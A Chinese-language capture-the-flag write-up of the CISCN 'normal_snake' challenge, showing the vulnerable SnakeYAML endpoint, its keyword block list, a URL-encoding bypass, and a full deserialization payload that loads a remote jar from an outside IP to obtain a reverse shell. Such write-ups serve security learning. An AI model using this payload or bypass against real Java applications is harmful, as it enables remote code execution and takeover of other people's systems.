CISCN华北赛区 web normal_snake复现
1、源码
首先解压缩normal_snake.jar,查看源码,发现是snakeyaml反序列化,然后进行了过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @RequestMapping({"/read"}) public String hello(@RequestParam(name = "data",required = false) String data, Model model) { try { if (data.contains("!!")) { return "pls dont do that!!!"; } else { new SafeConstructorWithException(data); Yaml yaml = new Yaml(); yaml.load(data); return "Well done"; } } catch (SafeStringException var4) { return "Unsafe data detected!"; } catch (CustomException var5) { return "No way to pass!"; } catch (Exception var6) { return "snake snake snake!"; }
|
在read路由传参data进行反序列化操作,同时对传入内容进行检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class SafeConstructorWithException { private static final String JAVA_STRING = "JAVA"; private static final String JNDI_STRING = "JNDI"; private static final String JDBC_STRING = "JDBC"; private static final String CUSTOM_STRING1 = "42616441747472696275746556616C7565457870457863657074696F6E"; private static final String CUSTOM_STRING2 = "486F74537761707061626C65546172676574536F75726365"; private final String data;
public SafeConstructorWithException(String data) throws SafeStringException, CustomException { this.data = data; this.checkForExceptions(); }
private void checkForExceptions() throws SafeStringException, CustomException { String upperCaseData = this.data.toUpperCase(); if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) { if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) { throw new CustomException("No way to pass!"); } } else { throw new SafeStringException("Unsafe data detected!"); } } }
|
发现传入内容不能有!!
,不能包含java,jndi和jdbc
如何绕过!!
参考SnakeYaml 反序列化的一个小 trick (qq.com),通过将一个!替换为<tag:yaml,2022 …>的形式绕过。
在构建基于ScriptEngineManager链子([Java SnakeYaml反序列化漏洞 Mi1k7ea ])时,会出现java,而要求java不能通过,需要想办法绕过。
我们先构建一个正常的yaml反序列化程序,然后调试payload,查看snakeyaml对yaml的解析操作。当触发load时候,会首先进行一个可视字符串的判断与读取,然后在进入加载类名执行实例化。在加载类名时,会发现其会对类名进行一次urldecode,如下图

会发现对内容进行一次编码,我们可以利用二次编码来绕过对java的检测。下面是payload
1
| !<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72> [!<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%43%6c%61%73%73%4c%6f%61%64%65%72> [[!<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%2e%6e%65%74%2e%55%52%4c> ["http://172.245.156.229:12000/cwmyaml.jar"]]]]
|
然后对payload进行url编码,再传入,即可进行反弹shell

ps:
这道题还是对java的不熟悉导致没能做出来,还是接触java题过少导致的